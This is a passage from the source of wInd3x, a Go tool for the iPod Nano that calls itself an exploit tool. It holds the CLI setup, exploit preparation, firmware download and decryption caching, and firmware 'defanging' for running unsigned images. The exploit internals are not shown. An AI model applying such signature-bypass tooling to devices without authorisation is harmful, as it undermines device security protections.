binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &u32) if reg.parse != nil { reg.parse(u32) } else { fmt.Printf("%08x\n", u32) } } } } fmt.Println("\nGPIO") fmt.Println("----") fmt.Printf(" 01234567\n") // TODO: parametrize this per generation? Or are we lucky and the GPIO // periphs are always at the same addrs? for i := 0; i < 16; i++ { addr := 0x3cf0_0000 + i*0x20 data, err := readFrom(&app.App, uint32(addr)) if err != nil { return fmt.Errorf("could not read GPIO %d: %w", i, err) } buf := bytes.NewBuffer(data) var con, dat uint32 binary.Read(buf, binary.LittleEndian, &con) binary.Read(buf, binary.LittleEndian, &dat) state := "" dir := "" for j := 0; j < 8; j++ { if ((dat >> j) & 1) == 1 { state += "H" } else { state += "_" } c := (con >> (j * 4)) & 0xf switch c { case 0: dir += "i" case 1: dir += "O" case 2, 3, 4, 5, 6: dir += fmt.Sprintf("%d", c) // alternate function default: dir += "?" } } fmt.Printf("GPIO %03d-%03d: state: %s\n", i*8, i*8+7, state) fmt.Printf(" dir: %s\n", dir) } return nil }, } ================================================ FILE: cmd/wInd3x/main.go ================================================ package main import ( "flag" "fmt" "log/slog" "strconv" "strings" "github.com/spf13/cobra" "github.com/spf13/pflag" ) var rootCmd = &cobra.Command{ Use: "wInd3x", Short: "wInd3x is an exploit tool for the iPod Nano 4G/5G", Long: `Allows to decrypt firmware files, generate DFU images and run unsigned DFU images on the Nano 4G/5G. Copyright 2022 q3k, user890104. With help from zizzy and d42. wInd3x comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions; see COPYING file accompanying distribution for details.`, SilenceUsage: true, } var verboseLog bool func main() { slog.SetLogLoggerLevel(slog.LevelDebug) makeDFUCmd.Flags().StringVarP(&makeDFUEntrypoint, "entrypoint", "e", "0x0", "Entrypoint offset for image (added to load address == 0x2200_0000)") makeDFUCmd.Flags().StringVarP(&makeDFUDeviceKind, "kind", "k", "", "Device kind (one of 'n4g', 'n5g')") decryptCmd.Flags().StringVarP(&decryptRecovery, "recovery", "r", "", "EXPERIMENTAL: Path to temporary file used for recovery when restarting the transfer") restoreCmd.Flags().BoolVarP(&restoreFull, "full", "f", false, "Perform full restore, including repartition and bootloader install. If true, you will have to manually reformat the main partition as FAT32, otherwise the device will seem bricked.") restoreCmd.Flags().StringVarP(&restoreVersion, "version", "V", "current", "Restore to some older version instead of 'current' from Apple. Use 'list' to show available.") mseExtractCmd.Flags().StringVarP(&extractDir, "out", "o", "", "Directory to extract to (default: current working directory)") rootCmd.CompletionOptions.DisableDefaultCmd = true rootCmd.PersistentFlags().BoolVarP(&verboseLog, "verbose", "v", false, "Enable verbose debug logging") rootCmd.AddCommand(haxDFUCmd) rootCmd.AddCommand(runCmd) rootCmd.AddCommand(makeDFUCmd) rootCmd.AddCommand(dumpCmd) rootCmd.AddCommand(decryptCmd) nandCmd.AddCommand(nandReadCmd) nandCmd.AddCommand(nandIdentifyCmd) rootCmd.AddCommand(nandCmd) norCmd.AddCommand(norReadCmd) rootCmd.AddCommand(norCmd) rootCmd.AddCommand(spewCmd) cfwCmd.AddCommand(cfwRunCmd) cfwCmd.AddCommand(cfwSuperdiagsCmd) rootCmd.AddCommand(cfwCmd) rootCmd.AddCommand(restoreCmd) mseCmd.AddCommand(mseExtractCmd) rootCmd.AddCommand(mseCmd) rootCmd.AddCommand(downloadCmd) rootCmd.Execute() } func init() { pflag.CommandLine.AddGoFlagSet(flag.CommandLine) } func parseNumber(s string) (uint32, error) { var err error var res uint64 if strings.HasPrefix(strings.ToLower(s), "0x") { res, err = strconv.ParseUint(s[2:], 16, 32) if err != nil { return 0, fmt.Errorf("invalid number") } } else { res, err = strconv.ParseUint(s, 10, 32) if err != nil { res, err = strconv.ParseUint(s, 16, 32) if err != nil { return 0, fmt.Errorf("invalid number") } } } return uint32(res), nil } ================================================ FILE: default.nix ================================================ { system ? builtins.currentSystem, ... }: let nixpkgsCommit = "8f3e1f807051e32d8c95cd12b9b421623850a34d"; nixpkgsSrc = fetchTarball { url = "https://github.com/NixOS/nixpkgs/archive/${nixpkgsCommit}.tar.gz"; sha256 = "sha256:1cpsxhm3fwsyf5shr35kirj1ajz8iy601q37xi3ma4f8dxd4vagy"; }; nixpkgs = import nixpkgsSrc { inherit system; }; in with nixpkgs; buildGoModule { name = "wInd3x"; src = ./.; buildInputs = [ libusb1 ]; nativeBuildInputs = [ pkg-config ]; checkPhase = "true"; vendorHash = "sha256-Is7FCtoKmC/B2ktuysNHoxXUP+TPRs/0C2ZzdKgq0rE="; } ================================================ FILE: go.mod ================================================ module github.com/freemyipod/wInd3x go 1.23.0 toolchain go1.23.3 require ( github.com/adrg/xdg v0.4.0 github.com/google/gousb v1.1.1 github.com/hashicorp/go-multierror v1.1.1 github.com/spf13/cobra v1.5.0 github.com/spf13/pflag v1.0.5 github.com/tetratelabs/wazero v1.0.0-pre.1 github.com/ulikunitz/xz v0.5.12 golang.org/x/exp v0.0.0-20250305212735-054e65f0b394 howett.net/plist v1.0.0 ) require ( github.com/hashicorp/errwrap v1.0.0 // indirect github.com/inconshreveable/mousetrap v1.0.0 // indirect golang.org/x/sys v0.0.0-20220412211240-33da011f77ad // indirect ) // Necessary for https://github.com/DHowett/go-plist/pull/76 replace howett.net/plist v1.0.0 => github.com/q3k/go-plist v0.0.0-20230225213725-6b5035fad602 ================================================ FILE: go.sum ================================================ github.com/adrg/xdg v0.4.0 h1:RzRqFcjH4nE5C6oTAxhBtoE2IRyjBSa62SCbyPidvls= github.com/adrg/xdg v0.4.0/go.mod h1:N6ag73EX4wyxeaoeHctc1mas01KZgsj5tYiAIwqJE/E= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/google/gousb v1.1.1 h1:2sjwXlc0PIBgDnXtNxUrHcD/RRFOmAtRq4QgnFBE6xc= github.com/google/gousb v1.1.1/go.mod h1:b3uU8itc6dHElt063KJobuVtcKHWEfFOysOqBNzHhLY= github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/q3k/go-plist v0.0.0-20230225213725-6b5035fad602 h1:8iSS1t8iFP3T18RV4LQPVsnWzVjvOEbzk2OHCCstIZE= github.com/q3k/go-plist v0.0.0-20230225213725-6b5035fad602/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU= github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/tetratelabs/wazero v1.0.0-pre.1 h1:bUZ4vf21c36RmgA3enNOlLgPElEVDYoRJJ9+McRGF6Q= github.com/tetratelabs/wazero v1.0.0-pre.1/go.mod h1:M8UDNECGm/HVjOfq0EOe4QfCY9Les1eq54IChMLETbc= github.com/ulikunitz/xz v0.5.12 h1:37Nm15o69RwBkXM0J6A5OlE67RZTfzUxTj8fB3dfcsc= github.com/ulikunitz/xz v0.5.12/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= golang.org/x/exp v0.0.0-20250305212735-054e65f0b394 h1:nDVHiLt8aIbd/VzvPWN6kSOPE7+F/fNFDSXLVYkE/Iw= golang.org/x/exp v0.0.0-20250305212735-054e65f0b394/go.mod h1:sIifuuw/Yco/y6yb6+bDNfyeQ/MdPUy/hKEMYQV17cM= golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad h1:ntjMns5wyP/fN65tdBD4g8J5w8n015+iIIs9rtjXkY0= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v1 v1.0.0-20140924161607-9f9df34309c0/go.mod h1:WDnlLJ4WF5VGsH/HVa3CI79GS0ol3YnhVnKP89i0kNg= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ================================================ FILE: pkg/app/app.go ================================================ package app import ( "fmt" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/exploit" ) type App struct { Usb devices.Usb InterfaceKind devices.InterfaceKind Desc *devices.Description Ep exploit.Parameters MSEndpoints devices.UsbMsEndpoints } func (a *App) Close() error { if err := a.Usb.Close(); err != nil { return fmt.Errorf("when closing usb: %w", err) } return nil } // PrepareUSB sets up the correct interface based on the selected interface kind // and runs any exploit preparation code (for eg. s5late compat). func (a *App) PrepareUSB() error { switch a.InterfaceKind { case devices.DFU, devices.WTF: if err := a.Usb.UseDefaultInterface(); err != nil { return fmt.Errorf("UseDefaultInterface: %w", err) } case devices.Disk: ep, err := a.Usb.UseDiskInterface() if err != nil { return fmt.Errorf("UseDiskInterface: %w", err) } a.MSEndpoints = ep } if a.InterfaceKind == devices.DFU { if err := a.Ep.Prepare(a.Usb); err != nil { return fmt.Errorf("failed to prepare exploit: %w", err) } } return nil } ================================================ FILE: pkg/cache/cache.go ================================================ package cache import ( "archive/zip" "bytes" "crypto/sha256" "encoding/hex" "fmt" "io" "io/ioutil" "log/slog" "net/http" "net/url" "os" "path" "path/filepath" "regexp" "strings" "github.com/adrg/xdg" "github.com/freemyipod/wInd3x/pkg/app" "github.com/freemyipod/wInd3x/pkg/cfw" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/exploit/decrypt" "github.com/freemyipod/wInd3x/pkg/image" "github.com/freemyipod/wInd3x/pkg/mse" ) type FS interface { ReadFile(path string) ([]byte, error) WriteFile(path string, data []byte) error Remove(path string) error Exists(path string) (bool, error) } type hostPathStore struct { root string } var Store FS = &hostPathStore{path.Join(xdg.DataHome, "wInd3x")} func (h *hostPathStore) ReadFile(p string) ([]byte, error) { return os.ReadFile(path.Join(h.root, p)) } func (h *hostPathStore) WriteFile(p string, data []byte) error { p = path.Join(h.root, p) parent := filepath.Dir(p) os.MkdirAll(parent, 0755) return os.WriteFile(p, data, 0644) } func (h *hostPathStore) Remove(p string) error { return os.Remove(path.Join(h.root, p)) } func (h *hostPathStore) Exists(p string) (bool, error) { _, err := os.Stat(path.Join(h.root, p)) if err == nil { return true, nil } if os.IsNotExist(err) { return false, nil } return false, err } var ReverseProxy *url.URL type PayloadKind string const ( PayloadKindWTFUpstream PayloadKind = "wtf-upstream" PayloadKindWTFDecrypted PayloadKind = "wtf-decrypted" PayloadKindWTFDecryptedCache PayloadKind = "wtf-decrypted-cache" PayloadKindWTFDefanged PayloadKind = "wtf-defanged" PayloadKindRecoveryUpstream PayloadKind = "recovery-upstream" PayloadKindFirmwareUpstream PayloadKind = "firmware-upstream" PayloadKindBootloaderUpstream PayloadKind = "bootloader-upstream" PayloadKindBootloaderDecrypted PayloadKind = "bootloader-decrypted" PayloadKindBootloaderDecryptedCache PayloadKind = "bootloader-decrypted-cache" PayloadKindRetailOSUpstream PayloadKind = "retailos-upstream" PayloadKindRetailOSDecrypted PayloadKind = "retailos-decrypted" PayloadKindRetailOSCustomized PayloadKind = "retailos-customized" PayloadKindRetailOSDecryptedCache PayloadKind = "retailos-decrypted-cache" PayloadKindDiagsUpstream PayloadKind = "diags-upstream" PayloadKindDiagsDecrypted PayloadKind = "diags-decrypted" PayloadKindDiagsDecryptedCache PayloadKind = "diags-decrypted-cache" PayloadKindJingleXML PayloadKind = "jinglexml" ) type GetOption struct { Progress func(float32) } type downloadMonitor struct { done uint total uint prevCallback float32 callback func(float32) } func (d *downloadMonitor) Write(data []byte) (int, error) { d.done += uint(len(data)) percent := float32(d.done) / float32(d.total) if percent != d.prevCallback && d.callback != nil { d.callback(percent) d.prevCallback = percent } return len(data), nil } func getPayloadFromPhobosIPSW(pk PayloadKind, dk devices.Kind, urlStr string, options ...GetOption) error { var progress func(float32) = nil for _, option := range options { if option.Progress != nil { progress = option.Progress } } slog.Info("Downloading IPSW...", "kind", pk, "url", urlStr) u, err := url.Parse(urlStr) if err != nil { return fmt.Errorf("could not parse URL %q: %w", urlStr, err) } if ReverseProxy != nil { u.Host = ReverseProxy.Host u.Scheme = ReverseProxy.Scheme } resp, err := http.Get(u.String()) if err != nil { return fmt.Errorf("could not download IPSW: %w", err) } dlMonitor := &downloadMonitor{ total: uint(resp.ContentLength), callback: progress, } body, err := io.ReadAll(io.TeeReader(resp.Body, dlMonitor)) if err != nil { return fmt.Errorf("could not download IPSW: %w", err) } z, err := zip.NewReader(bytes.NewReader(body), int64(len(body))) if err != nil { return fmt.Errorf("could not parse IPSW: %w", err) } var want *regexp.Regexp switch pk { case PayloadKindWTFUpstream: want = regexp.MustCompile(`^firmware/dfu/wtf.*release\.dfu$`) case PayloadKindRecoveryUpstream: want = regexp.MustCompile(`^firmware/dfu/firmware.*release\.dfu$`) case PayloadKindFirmwareUpstream, PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream: want = regexp.MustCompile(`^firmware.*$`) case PayloadKindBootloaderUpstream: want = regexp.MustCompile(`^n.*\.bootloader.*\.rb3$`) default: return fmt.Errorf("don't know file path for %s", pk) } var fname string for _, f := range z.File { if want.MatchString(strings.ToLower(f.Name)) { fname = f.Name } } if fname == "" { return fmt.Errorf("expected file not found in IPSW") } f, err := z.Open(fname) if err != nil { return fmt.Errorf("could not open %q in IPSW: %w", fname, err) } data, err := ioutil.ReadAll(f) if err != nil { return fmt.Errorf("could not read %q from IPSW: %w", fname, err) } switch pk { case PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream: m, err := mse.Parse(bytes.NewReader(data)) if err != nil { return fmt.Errorf("could not parse firmware: %w", err) } fname := "" switch pk { case PayloadKindRetailOSUpstream: fname = "osos" case PayloadKindDiagsUpstream: fname = "diag" } mf := m.FileByName(fname) if mf == nil { return fmt.Errorf("no %q in firmware", fname) } data = mf.Data } fspath := pathFor(&dk, pk, urlStr) if err := Store.WriteFile(fspath, data); err != nil { return fmt.Errorf("could not write: %w", err) } return nil } func getBootloaderDecrypted(app *app.App, options ...GetOption) error { var progress func(float32) = nil for _, option := range options { if option.Progress != nil { progress = option.Progress } } encrypted, err := Get(app, PayloadKindBootloaderUpstream) if err != nil { return err } img1, err := image.Read(bytes.NewReader(encrypted)) if err != nil { return fmt.Errorf("could not parse WTF IMG1: %w", err) } recovery := pathFor(&app.Desc.Kind, PayloadKindBootloaderDecryptedCache, "") var decryptOptions []decrypt.Option if progress != nil { decryptOptions = append(decryptOptions, decrypt.Option{Progress: progress}) } decrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...) if err != nil { return fmt.Errorf("could not decrypt bootloader: %w", err) } wrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted) if err != nil { return fmt.Errorf("could not re-pack decrypted bootloader: %w", err) } fspath := pathFor(&app.Desc.Kind, PayloadKindBootloaderDecrypted, "") if err := Store.WriteFile(fspath, wrapper); err != nil { return fmt.Errorf("could not write bootloader: %w", err) } Store.Remove(recovery) return nil } func getWTFDecrypted(app *app.App, options ...GetOption) error { var progress func(float32) = nil for _, option := range options { if option.Progress != nil { progress = option.Progress } } encrypted, err := Get(app, PayloadKindWTFUpstream) if err != nil { return err } img1, err := image.Read(bytes.NewReader(encrypted)) if err != nil { return fmt.Errorf("could not parse WTF IMG1: %w", err) } recovery := pathFor(&app.Desc.Kind, PayloadKindWTFDecryptedCache, "") var decryptOptions []decrypt.Option if progress != nil { decryptOptions = append(decryptOptions, decrypt.Option{Progress: progress}) } decrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...) if err != nil { return fmt.Errorf("could not decrypt WTF: %w", err) } wrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted) if err != nil { return fmt.Errorf("could not re-pack decrypted WTF: %w", err) } fspath := pathFor(&app.Desc.Kind, PayloadKindWTFDecrypted, "") if err := Store.WriteFile(fspath, wrapper); err != nil { return fmt.Errorf("could not write WTF: %w", err) } Store.Remove(recovery) return nil } func getRetailOSDecrypted(app *app.App, options ...GetOption) error { var progress func(float32) = nil for _, option := range options { if option.Progress != nil { progress = option.Progress } } encrypted, err := Get(app, PayloadKindRetailOSUpstream) if err != nil { return err } img1, err := image.Read(bytes.NewReader(encrypted)) if err != nil { return fmt.Errorf("could not parse RetailOS IMG1: %w", err) } recovery := pathFor(&app.Desc.Kind, PayloadKindRetailOSDecryptedCache, "") var decryptOptions []decrypt.Option if progress != nil { decryptOptions = append(decryptOptions, decrypt.Option{Progress: progress}) } decrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...) if err != nil { return fmt.Errorf("could not decrypt RetailOS: %w", err) } wrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted) if err != nil { return fmt.Errorf("could not re-pack decrypted RetailOS: %w", err) } fspath := pathFor(&app.Desc.Kind, PayloadKindRetailOSDecrypted, "") if err := Store.WriteFile(fspath, wrapper); err != nil { return fmt.Errorf("could not write RetailOS: %w", err) } Store.Remove(recovery) return nil } func getDiagsDecrypted(app *app.App, options ...GetOption) error { var progress func(float32) = nil for _, option := range options { if option.Progress != nil { progress = option.Progress } } encrypted, err := Get(app, PayloadKindDiagsUpstream) if err != nil { return err } img1, err := image.Read(bytes.NewReader(encrypted)) if err != nil { return fmt.Errorf("could not parse diag IMG1: %w", err) } recovery := pathFor(&app.Desc.Kind, PayloadKindDiagsDecryptedCache, "") var decryptOptions []decrypt.Option if progress != nil { decryptOptions = append(decryptOptions, decrypt.Option{Progress: progress}) } decrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...) if err != nil { return fmt.Errorf("could not decrypt diag: %w", err) } wrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted) if err != nil { return fmt.Errorf("could not re-pack decrypted diag: %w", err) } fspath := pathFor(&app.Desc.Kind, PayloadKindDiagsDecrypted, "") if err := Store.WriteFile(fspath, wrapper); err != nil { return fmt.Errorf("could not write diag: %w", err) } Store.Remove(recovery) return nil } func getWTFDefanged(app *app.App, options ...GetOption) error { defanger, ok := cfw.WTFDefangers[app.Desc.Kind] if !ok { return fmt.Errorf("don't know how to defang a %s", app.Desc.Kind) } decrypted, err := Get(app, PayloadKindWTFDecrypted) if err != nil { return err } defanged, err := defanger(decrypted) if err != nil { return fmt.Errorf("defanging failed: %w", err) } fspath := pathFor(&app.Desc.Kind, PayloadKindWTFDefanged, "") if err := Store.WriteFile(fspath, defanged); err != nil { return fmt.Errorf("could not write WTF: %w", err) } return nil } func getRetailOSCustomized(app *app.App, options ...GetOption) ([]byte, error) { decrypted, err := Get(app, PayloadKindRetailOSDecrypted) if err != nil { return nil, err } needle1 := []byte("Eject before disconnecting\x00") needle2 := []byte("freemyipod\x00") paddingLen := len(needle1) - len(needle2) needle2 = append(needle2, bytes.Repeat([]byte{0}, paddingLen)...) customized := bytes.ReplaceAll(decrypted, needle1, needle2) return customized, nil } func Get(app *app.App, payload PayloadKind, options ...GetOption) ([]byte, error) { url, err := urlForKind(payload, app.Desc.Kind) if err != nil { return nil, err } fspath := pathFor(&app.Desc.Kind, payload, url) if exists, err := Store.Exists(fspath); err == nil && exists { slog.Info("Get: Using cached data", "kind", app.Desc.Kind, "payload", payload, "path", fspath) return Store.ReadFile(fspath) } slog.Info("Get: No cached data, performing slow action...") switch payload { case PayloadKindWTFUpstream, PayloadKindRecoveryUpstream, PayloadKindFirmwareUpstream, PayloadKindBootloaderUpstream, PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream: err = getPayloadFromPhobosIPSW(payload, app.Desc.Kind, url, options...) case PayloadKindBootloaderDecrypted: err = getBootloaderDecrypted(app, options...) case PayloadKindWTFDecrypted: err = getWTFDecrypted(app, options...) case PayloadKindDiagsDecrypted: err = getDiagsDecrypted(app, options...) case PayloadKindRetailOSDecrypted: err = getRetailOSDecrypted(app, options...) case PayloadKindWTFDefanged: err = getWTFDefanged(app, options...) case PayloadKindRetailOSCustomized: // Not cached. return getRetailOSCustomized(app, options...) default: return nil, fmt.Errorf("don't know how to get a %s", payload) } if err != nil { return nil, err } return Store.ReadFile(fspath) } func pathFor(dev *devices.Kind, payload PayloadKind, upstreamURL string) string { devpart := "any" if dev != nil { devpart = string(*dev) } marker := "" if upstreamURL != "" { s := sha256.New() fmt.Fprintf(s, "%s", upstreamURL) marker = "-" + hex.EncodeToString(s.Sum(nil)) } parts := []string{ fmt.Sprintf("%s-%s%s.bin", devpart, payload, marker), } return path.Join(parts...) } ================================================ FILE: pkg/cache/cache_test.go ================================================ package cache import ( "bytes" "fmt" "os" "testing" "github.com/freemyipod/wInd3x/pkg/app" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/mse" ) func TestRepackAll(t *testing.T) { for _, kind := range []devices.Kind{ devices.Nano3, // Don't diff test N4G as padding in firmware file contains repeat data // from previous blocks - someone forgot a memset :). //devices.Nano4, devices.Nano5, devices.Nano6, devices.Nano7, devices.Nano7Late, } { t.Run(fmt.Sprintf("%s", kind.String()), func(t *testing.T) { a := app.App{ Desc: &devices.Description{ Kind: kind, }, } fw, err := Get(&a, PayloadKindFirmwareUpstream) if err != nil { t.Fatalf("%s: could not get firmware: %v", kind, err) } m, err := mse.Parse(bytes.NewReader(fw)) if err != nil { t.Fatalf("%s: could not parse firmware: %v", kind, err) } for _, file := range m.Files { if !file.Header.Valid() { continue } } fw2, err := m.Serialize() if err != nil { t.Fatalf("%s: could not serialize firmware: %v", kind, err) } os.WriteFile(fmt.Sprintf("/tmp/%s out.bin", kind.String()), fw2, 0600) if !bytes.Equal(fw, fw2) { t.Fatalf("%s: diff in emitted file", kind) } }) } } ================================================ FILE: pkg/cache/phobos.go ================================================ package cache import ( "fmt" "io" "log/slog" "net/http" "sort" "howett.net/plist" "github.com/freemyipod/wInd3x/pkg/devices" ) type jingle struct { MobileDeviceSoftware map[string]mobileDeviceSoftwareVersion `plist:"MobileDeviceSoftwareVersionsByVersion"` IPodSoftwareVersions map[string]iPodSoftwareVersion `plist:"iPodSoftwareVersions"` } type mobileDeviceSoftwareVersion struct { RecoverySoftware struct { WTF map[string]recoverySoftware `plist:"WTF"` Firmware struct { DFU map[string]recoverySoftware `plist:"DFU"` } `plist:"Firmware"` } `plist:"RecoverySoftwareVersions"` } type recoverySoftware struct { FirmwareURL string } type iPodSoftwareVersion struct { UpdaterFamilyID int `plist:"UpdaterFamilyID"` FirmwareURL string `plist:"FirmwareURL"` } const jingleURL = "https://itunes.apple.com/WebObjects/MZStore.woa/wa/com.apple.jingle.appserver.client.MZITunesClientCheck/version" var ( extraFirmwareVersions = map[devices.Kind]map[string]string{ devices.Nano3: { "1.0.1": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-3878.20070914.P0omB/iPod_26.1.0.1.ipsw", "1.0.2": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-3930.20071005.94rVg/iPod_26.1.0.2.ipsw", "1.0.3": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-3941.20071115.Hngr4/iPod_26.1.0.3.ipsw", "1.1": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-4011.20080115.Gh5yt/iPod_26.1.1.ipsw", "1.1.2": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-4276.20080430.Gbjt5/iPod_26.1.1.2.ipsw", "1.1.3": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-5164.20080722.hnt3A/iPod_26.1.1.3.ipsw", }, devices.Nano5: { "1.0.1": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-7165.20090909.AzPKm/iPod_1.0.1_34A10006.ipsw", }, devices.Nano6: { "1.0": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-9054.20100907.VKPt5/iPod_1.0_36A00403.ipsw", }, } ) func GetFirmwareVersions(dk devices.Kind) []string { var res []string if extra, ok := extraFirmwareVersions[dk]; ok { for k := range extra { res = append(res, k) } } sort.Strings(res) res = append(res, "current") return res } var FirmwareVersionOverrides map[devices.Kind]string func getJingle() (*jingle, error) { fspath := pathFor(nil, PayloadKindJingleXML, "") var bytes []byte exists, err := Store.Exists(fspath) if err != nil { return nil, err } if exists { slog.Info("Jingle: Using cached XML....") bytes, _ = Store.ReadFile(fspath) } if bytes == nil { slog.Info("Jingle: Downloading XML...") resp, err := http.Get(jingleURL) if err != nil { return nil, fmt.Errorf("could not download iTunes XML: %w", err) } bytes, err = io.ReadAll(resp.Body) if err != nil { return nil, fmt.Errorf("could not download iTunes XML: %w", err) } if err := Store.WriteFile(fspath, bytes); err != nil { slog.Error("Could not save iTunes XML cache", "err", err) } } slog.Info("Jingle: Got XML!") var res jingle if _, err := plist.Unmarshal(bytes, &res); err != nil { return nil, err } slog.Info("Jingle: Unmarshaled.") return &res, nil } func RecoveryFirmwareDFUURL(dev devices.Kind) (string, error) { j, err := getJingle() if err != nil { return "", err } pid, ok := dev.Description().PIDs[devices.WTF] if !ok { return "", fmt.Errorf("could not find WTF PID for device %s", dev) } pidext := int(pid) << 16 k2 := fmt.Sprintf("%d", pidext) for _, v := range j.MobileDeviceSoftware { if rs, ok := v.RecoverySoftware.Firmware.DFU[k2]; ok { return rs.FirmwareURL, nil } } return "", fmt.Errorf("not found") } func RecoveryWTFURL(dev devices.Kind) (string, error) { j, err := getJingle() if err != nil { return "", err } pid, ok := dev.Description().PIDs[devices.DFU] if !ok { return "", fmt.Errorf("could not find DFU PID for device %s", dev) } pidext := int(pid) << 16 k2 := fmt.Sprintf("%d", pidext) for _, v := range j.MobileDeviceSoftware { if rs, ok := v.RecoverySoftware.WTF[k2]; ok { return rs.FirmwareURL, nil } } return "", fmt.Errorf("not found") } func FirmwareURL(dev devices.Kind) (string, error) { if version, ok := FirmwareVersionOverrides[dev]; ok { if version != "current" { if extra, ok := extraFirmwareVersions[dev]; ok { if url, ok := extra[version]; ok { return url, nil } } return "", fmt.Errorf("firmware IPSW override specified, but invalid") } } j, err := getJingle() if err != nil { return "", err } for _, isv := range j.IPodSoftwareVersions { if isv.UpdaterFamilyID != dev.Description().UpdaterFamilyID { continue } return isv.FirmwareURL, nil } return "", fmt.Errorf("not found") } func urlForKind(pk PayloadKind, dk devices.Kind) (string, error) { switch pk { case PayloadKindWTFUpstream: return RecoveryWTFURL(dk) case PayloadKindRecoveryUpstream: return RecoveryFirmwareDFUURL(dk) case PayloadKindFirmwareUpstream, PayloadKindBootloaderUpstream, PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream: return FirmwareURL(dk) default: return "", nil } } ================================================ FILE: pkg/cfw/cfw.go ================================================ package cfw import ( "bytes" "fmt" "github.com/freemyipod/wInd3x/pkg/efi" ) // VisitVolume is the main call used to patch an EFI volume. The patching to be // 